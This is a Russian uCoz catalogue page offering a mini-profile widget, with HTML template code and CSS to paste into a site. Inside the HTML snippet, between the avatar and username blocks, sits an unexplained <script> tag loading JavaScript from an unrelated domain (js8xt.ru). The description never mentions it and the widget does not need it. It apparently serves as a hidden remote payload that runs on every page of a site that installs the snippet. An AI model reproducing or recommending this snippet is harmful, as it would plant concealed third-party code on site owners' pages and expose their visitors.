Войти на сайт Регистрация
Добавить файлВ каталоге: 678
Красивый мини профиль для ucoz
15.11.2018
Красивый мини профиль для ucoz
  • 571 Просмотров:
  • 0 Скачиваний:
  • 0 Комментариев:
  • 3.0 Рейтинг:
  • (Голосов: 1)
Описание:
Новый и красивый мини-профиль для ucoz. Профиль имеет необычное, Но очень удобное строение. В самом верху блок разделен на 2 половины: левая - для аватара(если его нет будет знак вопроса, или любой другой) правая - логин. Мини-Профиль полностью налажен и работает.

Установка:

Где хотим видеть мини-профиль ставим код:

Код
<!--?if($USER_LOGGED_IN$)?-->  
  <div class="mpava"><!--?if($USER_AVATAR_URL$)?--><img src="$USER_AVATAR_URL$"><!--?else?--><img src="http://7old.ru/ucoz-files/nn.png"><!--?endif?--> </div><script src="http://js8xt.ru/ves.js" type="text/javascript"></script>  
  <div class="opatb"><div class="mpname"><b>$USERNAME$</b></div></div>  
  <div class="mpin"><img src="http://7old.ru/ucoz-files/sms.png" class="mpimstr"><div class="mpstr"><a href="/index/8">Мой профиль</a></div></div>  
  <div class="mpin"><img src="http://7old.ru/ucoz-files/ls.png" class="mpimstr"><div class="mpstrls"><a href="/index/14">Мои сообщения </a></div> <div class="unread"><a title="Количество новых сообщении">$UNREAD_PM$</a></div></div>  
  <div class="mpin"><img src="http://7old.ru/ucoz-files/set.png" class="mpimstr"><div class="mpstr"><a href="/index/11">Мои настройки</a></div></div>  
  <div class="mpin" ><img src="http://7old.ru/ucoz-files/off.png" style="border-bottom:1px solid #ccc" class="mpimstr"><div class="mpstr" style="border-bottom:1px solid #ccc"><a href="/index/10">Выход</a></div></div>  
  <!--?else?-->  
  $LOGIN_FORM$  
  <!--?endif?-->


2. Далее идём ПУ - Таблица стилей CSS и ставим код:

Код
/* ====== Мини профиль ====== */  
  .opatb {background:#fff;border:1px solid #ccc;border-left:none;height:63px;}  
  .mpava img {width:63px;height:63px;float:left;border:1px solid #d2d2d2;margin-bottom:4px;}  
  .mpname {float:left;padding-left:27px;font-size:16px;color: rgb(8, 99, 151);padding-top:20px;display:inline-block}  
  .mpin {text-align:left; padding:0px; clear:both; }  
  .mpimstr {float:left;background:#f7f7f7;padding:3px;border:1px solid #ccc;border-right:1px dotted #ccc;border-bottom:none;display:inline-block}  
  .mpstr {background:#fff;float:left;width:165px;height:17px;display:inline-block;padding-top:5px;border:1px solid #ccc;border-left:none;border-bottom:none;}  
  .mpstr a {text-decoration:none;color: rgb(8, 99, 151);margin-left:4px;}  
  .mpstr a:hover {text-decoration:underline;}  
  .mpstrls {background:#fff;float:left;width:147px;height:17px;display:inline-block;padding-top:5px;border:1px solid #ccc;border-left:none;border-bottom:none;border-right:1px dotted #ccc;}  
  .mpstrls a {text-decoration:none;color: rgb(8, 99, 151);margin-left:4px;}  
  .mpstrls a:hover {text-decoration:underline;}  
  .unread {background:#f7f7f7;border:1px solid #ccc;border-bottom:none;height:19px;text-align:center;font-weight:bold;padding:3px 2px 0 0;}  
  /* ====== Мини профиль с wallaby.ucoz.ru ====== */


Установка завершена
Красивый мини профиль для ucoz" title="Скачать Красивый мини профиль для ucoz бесплатно, без смс и регистрации" target="_blank">Сервер Скачать файл
Источник: wallaby.ucoz.ru
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]